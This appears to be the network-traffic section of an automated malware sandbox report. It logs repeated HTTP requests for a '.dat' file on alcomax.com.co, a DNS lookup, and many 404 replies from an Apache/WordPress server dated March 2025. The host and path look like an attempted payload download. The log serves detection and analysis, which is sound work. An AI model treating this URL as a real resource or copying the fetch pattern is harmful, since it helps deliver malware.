Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co
Source: global traffic	HTTP traffic detected: GET /filas/Dswcuwygf.dat HTTP/1.1Host: alcomax.com.co

Source: global traffic

DNS traffic detected: DNS query: alcomax.com.co

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:06:53 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:06:56 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:06:59 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:05 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:07 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:10 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:13 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:16 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:18 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:21 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:24 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:26 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:35 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:38 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:40 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:48 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:51 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:54 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:56 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:07:59 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:02 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:05 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:08 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:11 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:13 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:16 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:19 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:21 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:24 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:27 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:30 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:35 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:38 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:41 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:49 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:52 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:55 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:08:58 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:00 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:03 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:06 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:09 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:11 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:15 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:18 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
